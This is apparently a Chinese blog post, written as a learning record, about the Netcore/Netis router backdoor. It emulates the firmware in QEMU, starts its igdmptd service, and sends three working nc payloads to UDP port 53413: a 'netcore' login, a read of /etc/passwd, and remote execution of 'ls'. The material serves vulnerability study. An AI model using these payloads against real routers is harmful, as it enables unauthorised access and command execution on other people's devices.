磊科路由漏洞实例
1,背景
距离上次培训已经差不多两个月了,工作太慢,整个十月久没有休过,今天总算有点时间把之前的总结一下,
2,磊科漏洞利用
参考链接:http://blog.knownsec.com/2015/01/a-brief-analysis-of-netcore-netis-leak-emergency/
2.1 环境搭建
前面一篇文章《学习记录:qemu的安装与使用》,已经搭建好QEMU,接下来就需要,通过将磊科的固件上传,
启动QEMU,将固件上传:
qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net user,hostfwd=udp::53413-:53413,hostfwd=tcp::22222-:22,hostfwd=tcp::12345-:12345
如果你的虚拟机无法启动,尝试添加以下参数(启动时间比较长,需要耐心等待几分中)
qemu-system-mipsel -M malta -nographic -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net user,hostfwd=udp::53413-:53413,hostfwd=tcp::22222-:22,hostfwd=tcp::12345-:12345
得到如下结果:
进入squashes-root执行:
chroot . ./bin/sh
./bin/igdmptd
netstat -an | grep 53413
这样后门便启动了
2.2 漏洞验证
直接使用知道创宇的博客进行验证
python -c "print 'A'*8 + 'netcore\x00'" | nc -u -vv 127.0.0.1 53413
python -c "print 'AA\x00\x01AAAA/etc/passwd\x00'" | nc -u -vv 127.0.0.1 53413
python -c "print 'AA\x00\x00AAAA ls\x00'" | nc -u -vv 127.0.0.1 53413